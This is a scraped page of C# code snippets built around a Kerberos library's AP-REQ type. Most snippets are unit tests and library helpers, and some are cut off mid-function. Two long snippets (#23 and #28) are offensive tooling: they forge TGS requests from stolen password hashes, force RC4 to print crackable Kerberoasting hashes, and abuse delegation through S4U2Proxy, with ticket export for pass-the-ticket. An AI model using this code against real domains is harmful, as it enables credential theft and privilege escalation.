Beispiel #1
0
        public void AuthenticatorChecksum_ChecksumSource()
        {
            var key = new KerberosKey(key: new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96);

            var rst = new RequestServiceTicket {
                AuthenticatorChecksumSource = new byte[345]
            };
            KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);

            Assert.IsNotNull(apreq);
            Assert.IsNotNull(authenticator);
            Assert.IsNotNull(authenticator.Checksum);

            var expected = KrbChecksum.Create(
                rst.AuthenticatorChecksumSource,
                key,
                KeyUsage.AuthenticatorChecksum
                );

            Assert.IsTrue(
                KerberosCryptoTransformer.AreEqualSlow(
                    expected.Checksum.Span,
                    authenticator.Checksum.Checksum.Span
                    )
                );
        }
Beispiel #2
0
        public void AuthenticatorChecksum_AppChecksum()
        {
            var rst = new RequestServiceTicket
            {
                AuthenticatorChecksum = new KrbChecksum
                {
                    Type     = ChecksumType.HMAC_SHA256_128_AES128,
                    Checksum = new byte[245]
                }
            };

            KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);

            Assert.IsNotNull(apreq);
            Assert.IsNotNull(authenticator);
            Assert.IsNotNull(authenticator.Checksum);

            Assert.AreEqual(ChecksumType.HMAC_SHA256_128_AES128, authenticator.Checksum.Type);

            Assert.IsTrue(
                KerberosCryptoTransformer.AreEqualSlow(
                    new byte[245],
                    authenticator.Checksum.Checksum.Span
                    )
                );
        }
Beispiel #3
0
        private static async Task TryValidate(string spn, KrbApReq ticket, string servicePassword, string serviceSalt)
        {
            var encoded = ticket.EncodeApplication().ToArray();

            KerberosKey kerbKey;

            if (string.IsNullOrWhiteSpace(serviceSalt))
            {
                kerbKey = new KerberosKey(
                    "P@ssw0rd!",
                    principalName: new PrincipalName(
                        PrincipalNameType.NT_PRINCIPAL,
                        ticket.Ticket.Realm,
                        new[] { spn }
                        ),
                    saltType: SaltType.ActiveDirectoryUser
                    );
            }
            else
            {
                kerbKey = new KerberosKey(
                    servicePassword,
                    salt: serviceSalt,
                    etype: ticket.Ticket.EncryptedPart.EType,
                    saltType: SaltType.ActiveDirectoryService
                    );
            }

            var authenticator = new KerberosAuthenticator(new KeyTable(kerbKey));

            var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);

            DumpRestrictions(validated);
        }
Beispiel #4
0
        public KerberosKey GetKey(KrbApReq token)
        {
            var type  = token.Ticket.EncPart.EType;
            var sname = token.Ticket.SName;

            return(GetKey(type, sname));
        }
Beispiel #5
0
        private static DecryptedKrbApReq CreateDecryptedApReq(DateTimeOffset now, DateTimeOffset notBefore, DateTimeOffset notAfter, DateTimeOffset renewUntil)
        {
            var key = new KerberosKey(key: new byte[16], etype: EncryptionType.AES128_CTS_HMAC_SHA1_96);

            var tgsRep = KrbKdcRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
            {
                EncryptedPartKey    = key,
                Principal           = new FakeKerberosPrincipal("*****@*****.**"),
                ServicePrincipal    = new FakeKerberosPrincipal("host/test.com"),
                ServicePrincipalKey = key,
                IncludePac          = false,
                RealmName           = "test.com",
                Now       = now,
                StartTime = notBefore,
                EndTime   = notAfter,
                RenewTill = renewUntil,
                Flags     = TicketFlags.Renewable
            });

            var encKdcRepPart = tgsRep.EncPart.Decrypt(
                key,
                KeyUsage.EncTgsRepPartSessionKey,
                d => KrbEncTgsRepPart.DecodeApplication(d)
                );

            var apReq = KrbApReq.CreateApReq(tgsRep, encKdcRepPart.Key.AsKey(), default, out KrbAuthenticator authenticator);
        public void DecryptReferralTgt()
        {
            var ticket = KrbApReq.DecodeApplication(Convert.FromBase64String(ReferralTicket));

            var apreq = new DecryptedKrbApReq(ticket, MessageType.KRB_AS_REQ);

            var key = new KerberosKey(
                "P@ssw0rd!",
                new PrincipalName(
                    PrincipalNameType.NT_SRV_INST,
                    CRealm,
                    new[] { "krbtgt", "TEST.IDENTITYINTERVENTION.COM" }
                    ),
                saltType: SaltType.Rfc4120
                );

            apreq.Decrypt(key);

            Assert.IsNotNull(apreq.Ticket);
            Assert.AreEqual("Administrator", apreq.Ticket.CName.FullyQualifiedName);
            Assert.AreEqual(CRealm, apreq.Ticket.CRealm);

            var adif = apreq.Ticket.AuthorizationData.FirstOrDefault(f => f.Type == AuthorizationDataType.AdIfRelevant).DecodeAdIfRelevant();

            var pacStr = adif.FirstOrDefault(f => f.Type == AuthorizationDataType.AdWin2kPac);

            var pac = new PrivilegedAttributeCertificate(pacStr);

            Assert.IsNotNull(pac);

            Assert.AreEqual(500u, pac.LogonInfo.UserId);
        }
Beispiel #7
0
        private static KrbApReq GenerateApReq(RequestServiceTicket rst, out KrbAuthenticator authenticator)
        {
            var key = new KerberosKey(key: new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96);

            var now        = DateTimeOffset.UtcNow;
            var notBefore  = now.AddMinutes(-5);
            var notAfter   = now.AddMinutes(55);
            var renewUntil = now.AddMinutes(555);

            var tgsRep = KrbTgsRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
            {
                EncryptedPartKey    = key,
                Principal           = new FakeKerberosPrincipal("*****@*****.**"),
                ServicePrincipal    = new FakeKerberosPrincipal("host/test.com"),
                ServicePrincipalKey = key,
                IncludePac          = false,
                RealmName           = "test.com",
                Now       = now,
                StartTime = notBefore,
                EndTime   = notAfter,
                RenewTill = renewUntil,
                Flags     = TicketFlags.Renewable
            });

            return(KrbApReq.CreateApReq(tgsRep, key, rst, out authenticator));
        }
        private DecryptedKrbApReq DecryptApReq(KrbApReq apReq, KerberosKey krbtgtKey)
        {
            var apReqDecrypted = new DecryptedKrbApReq(apReq, MessageType.KRB_TGS_REQ);

            apReqDecrypted.Decrypt(krbtgtKey);

            apReqDecrypted.Validate(Validation);

            return(apReqDecrypted);
        }
Beispiel #9
0
        public void AuthenticatorChecksum_GssDefaults()
        {
            var rst        = new RequestServiceTicket {
            };
            KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);

            Assert.IsNotNull(apreq);
            Assert.IsNotNull(authenticator);
            Assert.IsNotNull(authenticator.Checksum);
            Assert.AreEqual((ChecksumType)32771, authenticator.Checksum.Type);
        }
        public async Task TransportBase()
        {
            var transport = new NoopTransport();

            IAsn1ApplicationEncoder <KrbApReq> encoded = new KrbApReq {
            };

            var resp = await transport.SendMessage <KrbApReq, KrbAsRep>("sdf", encoded);

            Assert.IsNotNull(resp);
        }
Beispiel #11
0
        private static void DumpTicket(KrbApReq ticket)
        {
            W("====== Ticket ======");

            W($"Type: {ticket.MessageType}", ConsoleColor.Green);
            W($"APOptions: {ticket.ApOptions}", ConsoleColor.Green);
            W($"Realm: {ticket.Ticket.Realm}", ConsoleColor.Green);
            W($"SName: {ticket.Ticket.SName.FullyQualifiedName}", ConsoleColor.Green);

            W();
        }
Beispiel #12
0
        public void AuthenticatorChecksum_GssEmpty()
        {
            var rst = new RequestServiceTicket {
                GssContextFlags = GssContextEstablishmentFlag.GSS_C_NONE
            };
            KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);

            Assert.IsNotNull(apreq);
            Assert.IsNotNull(authenticator);
            Assert.IsNull(authenticator.Checksum);
        }
Beispiel #13
0
        private static void DumpTicket(KrbApReq ticket)
        {
            WriteLine();

            WriteLine($"Type: {ticket.MessageType}");
            WriteLine($"APOptions: {ticket.ApOptions}");
            WriteLine($"Realm: {ticket.Ticket.Realm}");
            WriteLine($"SName: {ticket.Ticket.SName.FullyQualifiedName}");

            WriteLine();
        }
Beispiel #14
0
        public void AuthenticatorChecksum_NoNonce()
        {
            var rst = new RequestServiceTicket {
                IncludeSequenceNumber = false
            };
            KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);

            Assert.IsNotNull(apreq);
            Assert.IsNotNull(authenticator);
            Assert.IsNotNull(authenticator.Checksum);
            Assert.IsNull(authenticator.SequenceNumber);
        }
Beispiel #15
0
        public void AuthenticatorChecksum_NonceDefaults()
        {
            var rst        = new RequestServiceTicket {
            };
            KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);

            Assert.IsNotNull(apreq);
            Assert.IsNotNull(authenticator);
            Assert.IsNotNull(authenticator.Checksum);
            Assert.IsNotNull(authenticator.SequenceNumber);
            Assert.AreNotEqual(0, authenticator.SequenceNumber.Value);
        }
Beispiel #16
0
        public KerberosKey GetKey(KrbApReq token)
        {
            var type  = token.Ticket.EncPart.EType;
            var sname = token.Ticket.SName;

            var entry = Entries.FirstOrDefault(e => e.EncryptionType == type && sname.Equals(e.Principal));

            if (entry == null && Entries.Count == 1)
            {
                entry = Entries.FirstOrDefault();
            }

            return(entry?.Key);
        }
Beispiel #17
0
        private static DecryptedData Decrypt(KrbApReq token, KeyTable keytab)
        {
            if (token?.Ticket?.EncPart == null)
            {
                return(null);
            }

            DecryptedData decryptor = null;

            if (Decryptors.TryGetValue(token.Ticket.EncPart.EType, out Func <KrbApReq, DecryptedData> func) && func != null)
            {
                decryptor = func(token);
            }

            if (decryptor != null)
            {
                decryptor.Decrypt(keytab);
            }

            return(decryptor);
        }
Beispiel #18
0
        public KerberosKey GetKey(KrbApReq token)
        {
            var type  = token.Ticket.EncPart.EType;
            var sname = token.Ticket.SName;

            // Match on type (e.g. RC4_HMAC_NT) and name (Realm + Name)
            var entry = Entries.FirstOrDefault(e => e.EncryptionType == type && sname.Matches(e.Principal));

            // Fall back to first entry with matching type (RC4_HMAC_NT)
            if (entry == null)
            {
                entry = Entries.FirstOrDefault(e => e.EncryptionType == type);
            }

            // Fall back to first entry
            if (entry == null)
            {
                entry = Entries.FirstOrDefault();
            }

            return(entry?.Key);
        }
Beispiel #19
0
        private static async Task TryValidate(string spn, KrbApReq ticket)
        {
            var encoded = ticket.EncodeApplication().ToArray();

            var authenticator = new KerberosAuthenticator(
                new KeyTable(
                    new KerberosKey(
                        "P@ssw0rd!",
                        principalName: new PrincipalName(
                            PrincipalNameType.NT_PRINCIPAL,
                            "CORP.IDENTITYINTERVENTION.com",
                            new[] { spn }
                            ),
                        saltType: SaltType.ActiveDirectoryUser
                        )
                    )
                );

            var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);

            DumpClaims(validated);
        }
        private static async Task ValidateTicket(KrbApReq ticket)
        {
            var encoded = ticket.EncodeApplication().ToArray();

            var authenticator = new KerberosAuthenticator(
                new KeyTable(
                    new KerberosKey(
                        "P@ssw0rd!",
                        principalName: new PrincipalName(
                            PrincipalNameType.NT_PRINCIPAL,
                            "CORP.IDENTITYINTERVENTION.com",
                            new[] { "host/appservice.corp.identityintervention.com" }
                            ),
                        saltType: SaltType.ActiveDirectoryUser
                        )
                    )
                );

            var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);

            Assert.IsNotNull(validated);

            Assert.AreEqual(validated.FindFirst(ClaimTypes.Sid).Value, "S-1-5-123-456-789-12-321-888");
        }
Beispiel #21
0
        public KerberosRequest(byte[] data)
        {
            var element = new Asn1Element(data);

            for (var i = 0; i < element.Count; i++)
            {
                var child = element[i];

                switch (child.ContextSpecificTag)
                {
                case 0:
                    NegotiationToken = new NegTokenInit(child[0]);
                    break;

                case MechType.ContextTag:
                    MechType = new MechType(child.AsString());
                    break;

                case 110:
                    Request = new KrbApReq(child[0]);
                    break;
                }
            }
        }
Beispiel #22
0
 private DecryptedData DecryptKerberos(KrbApReq request, KeyTable keytab)
 {
     return(Decrypt(request, keytab));
 }
Beispiel #23
0
        //TODO...
        //askTGS with TGT kirbi
        public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
                                                                              ILoggerFactory logger,
                                                                              TcpKerberosTransport transport,
                                                                              KrbAsRep asRep,
                                                                              string username,
                                                                              string password,
                                                                              string domainName,
                                                                              string spn,
                                                                              bool isUnconstrained    = false,
                                                                              bool outKirbi           = false,
                                                                              bool verbose            = false,
                                                                              bool kerberoast         = false,
                                                                              bool ptt                = false,
                                                                              string hash             = null,
                                                                              EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                              bool outfile            = false,
                                                                              string srvName          = null,
                                                                              string tgsHash          = null,
                                                                              EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                              )
        {
            var now = DateTime.Now;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;



            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk |
                KdcOptions.Canonicalize;
            string    s4u             = null;
            KrbTicket s4uTicket       = null;
            KrbTicket u2uServerTicket = null;

            if (isUnconstrained)
            {
                spn         = $"krbtgt/{domainName}";
                kdcOptions |= KdcOptions.Forwarded;
            }


            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions |= KdcOptions.ConstrainedDelegation;

                additionalTickets.Add(rst.S4uTicket);
            }


            var body = new KrbKdcReqBody
            {
                //Specify RC4 as the only supported EType
                EType      = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = rst.CNameHint
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );

            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.BranchAware
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP ...");
            if (verbose)
            {
                PrintFunc.PrintRep(tgsRep, credKey);
            }



            var returnFlag = TicketFlags.Anonymous;

            try
            {
                //TGS-REP Enc-Part
                //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);

                    returnFlag = tgsDecryptedRepPart.Flags;


                    if (!string.IsNullOrEmpty(tgsHash))
                    {
                        //=========================================
                        //TGS Tiket Enc-Part
                        //Service account Cred
                        var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);

                        //TGS-REQ Ticket Enc-Part
                        KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
                                                               (kerbCred2.CreateKey(),
                                                               KeyUsage.Ticket,
                                                               (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));

                        Console.WriteLine("    * [Decrypted Ticket Enc-Part]:");
                        PrintFunc.PrintTicketEnc(ticketDecrypted);
                        //=========================================
                    }
                }


                if (outKirbi || outfile)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
                    if (outKirbi)
                    {
                        Console.WriteLine("[+] TGS Kirbi:");
                        Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                    }
                    if (outfile)
                    {
                        Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
                    }
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }



            if (kerberoast)
            {
                //Kerberoasting
                var encType    = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
                var myCipher   = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
                var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
                Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
            }


            return(returnFlag);
        }
Beispiel #24
0
 protected AESDecryptedData(KrbApReq token)
 {
     this.Token = token;
 }
        public DecryptedKrbApReq(KrbApReq token, MessageType incomingMessageType = MessageType.KRB_AP_REQ)
        {
            this.token = token ?? throw new ArgumentNullException(nameof(token));

            this.incomingMessageType = incomingMessageType;
        }
        private static void DecodeAsApReq(byte[] bytes, TreeNode parentNode)
        {
            var apReq = KrbApReq.DecodeApplication(bytes);

            ExplodeObject(apReq, "AP-REQ", parentNode);
        }
 public RC4DecryptedData(KrbApReq token)
 {
     this.token = token;
 }
Beispiel #28
0
        //S4U2Proxy
        //[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
        //The KDC checks if the security principal name(SPN) for Service 2,
        //identified in the sname and srealm fields of the KRB_TGS_REQ message,
        //is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
        //If it is, then the KDC replies with a service ticket for Service 2.
        //Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
        public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
                                                                  ILoggerFactory logger,
                                                                  TcpKerberosTransport transport,
                                                                  KrbAsRep asRep,
                                                                  KrbTgsRep s4u2self,
                                                                  string username,
                                                                  string password,
                                                                  string domainName,
                                                                  string impersonateuser,
                                                                  string spn,
                                                                  bool outKirbi        = false,
                                                                  bool verbose         = false,
                                                                  bool ptt             = false,
                                                                  string hash          = null,
                                                                  EncryptionType etype = EncryptionType.RC4_HMAC_NT)
        {
            var now = DateTime.UtcNow;

            credKey = password != null ?
                      new KerberosPasswordCredential(username, password, domainName).CreateKey() :
                      new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();


            KrbEncAsRepPart asDecrypted = password != null ?
                                          new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d)) :
                                          new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
                asRep,
                KeyUsage.EncAsRepPart,
                d => KrbEncAsRepPart.DecodeApplication(d));

            var sessionKey = asDecrypted.Key;


            //Request Service Ticket parameters

            ApOptions  apOptions  = ApOptions.Reserved;
            KdcOptions kdcOptions =
                KdcOptions.Forwardable |
                KdcOptions.Renewable |
                KdcOptions.RenewableOk;
            string    s4u             = null;
            KrbTicket s4uTicket       = s4u2self.Ticket;
            KrbTicket u2uServerTicket = null;



            var rst = new RequestServiceTicket()
            {
                ServicePrincipalName = spn,
                ApOptions            = apOptions,
                S4uTarget            = s4u,
                S4uTicket            = s4uTicket,
                UserToUserTicket     = u2uServerTicket,
                KdcOptions           = kdcOptions,
                Realm = domainName
            };


            var sname = rst.ServicePrincipalName.Split('/', '@');
            var tgt   = asRep.Ticket;

            var additionalTickets = new List <KrbTicket>();

            if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
            {
                additionalTickets.Add(rst.UserToUserTicket);
            }
            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                rst.KdcOptions |= KdcOptions.Forwardable;
            }
            if (rst.S4uTicket != null)
            {
                rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;

                additionalTickets.Add(rst.S4uTicket);
            }

            //EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
            string[] name = { };
            var      body = new KrbKdcReqBody
            {
                EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),
                KdcOptions = rst.KdcOptions,
                Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                Realm      = rst.Realm,
                SName      = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = sname
                },
                Till  = KrbConstants.KerberosConstants.EndOfTime,
                CName = new KrbPrincipalName()
                {
                    Type = PrincipalNameType.NT_SRV_INST,
                    Name = name
                },
            };

            if (additionalTickets.Count > 0)
            {
                body.AdditionalTickets = additionalTickets.ToArray();
            }

            var bodyChecksum = KrbChecksum.Create(
                body.Encode(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqChecksum
                );


            //ApReq
            //Authenticator
            var authenticator = new KrbAuthenticator
            {
                CName          = asRep.CName,
                Realm          = asRep.Ticket.Realm,
                SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
                Checksum       = bodyChecksum,
                CTime          = now,
                CuSec          = now.Millisecond //new Random().Next(0, 999999)
            };

            var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);

            subSessionKey.Usage  = KeyUsage.EncTgsRepPartSubSessionKey;
            authenticator.Subkey = subSessionKey;

            var encryptedAuthenticator = KrbEncryptedData.Encrypt(
                authenticator.EncodeApplication(),
                sessionKey.AsKey(),
                KeyUsage.PaTgsReqAuthenticator
                );

            var apReq = new KrbApReq
            {
                Ticket        = tgt,
                ApOptions     = apOptions,
                Authenticator = encryptedAuthenticator
            };


            var pacOptions = new KrbPaPacOptions
            {
                Flags = PacOptions.ResourceBasedConstrainedDelegation
            }.Encode();

            var paData = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_TGS_REQ,
                    Value = apReq.EncodeApplication()
                },
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_OPTIONS,
                    Value = pacOptions
                }
            };



            if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
            {
                var paS4u = new KrbPaForUser
                {
                    AuthPackage = "Kerberos",
                    UserName    = new KrbPrincipalName {
                        Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
                    },
                    UserRealm = tgt.Realm
                };
                paS4u.GenerateChecksum(subSessionKey.AsKey());

                paData.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_FOR_USER,
                    Value = paS4u.Encode()
                });
            }

            var tgs = new KrbTgsReq
            {
                PaData = paData.ToArray(),
                Body   = body
            };



            ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();


            Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
            if (verbose)
            {
                PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
            }



            CancellationToken cancellation = default;

            cancellation.ThrowIfCancellationRequested();



            KrbTgsRep tgsRep = null;

            try
            {
                tgsRep = await transport.SendMessage <KrbTgsRep>(
                    rst.Realm,
                    encodedTgs,
                    cancellation
                    );
            }
            catch (KerberosProtocolException pex)
            {
                Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
                Environment.Exit(0);
            }


            Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");

            try
            {
                KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
                    subSessionKey.AsKey(),
                    KeyUsage.EncTgsRepPartSubSessionKey,
                    (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));

                if (verbose)
                {
                    PrintFunc.PrintRep(tgsRep, credKey);

                    Console.WriteLine("    * [Decrypted Enc-Part]:");
                    PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
                }

                if (outKirbi)
                {
                    var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);

                    Console.WriteLine("[+] TGS Kirbi:");
                    Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGS));
                }
            }catch (Exception e)
            {
                Console.WriteLine("[x] {0}", e.Message);
            }
        }
 public AES256DecryptedData(KrbApReq token)
     : base(token)
 {
     decryptor = new AES256Decryptor();
 }
 public DecryptedKrbApReq(KrbApReq token, MessageType incomingMessageType = MessageType.KRB_AP_REQ)
 {
     this.token = token;
     this.incomingMessageType = incomingMessageType;
 }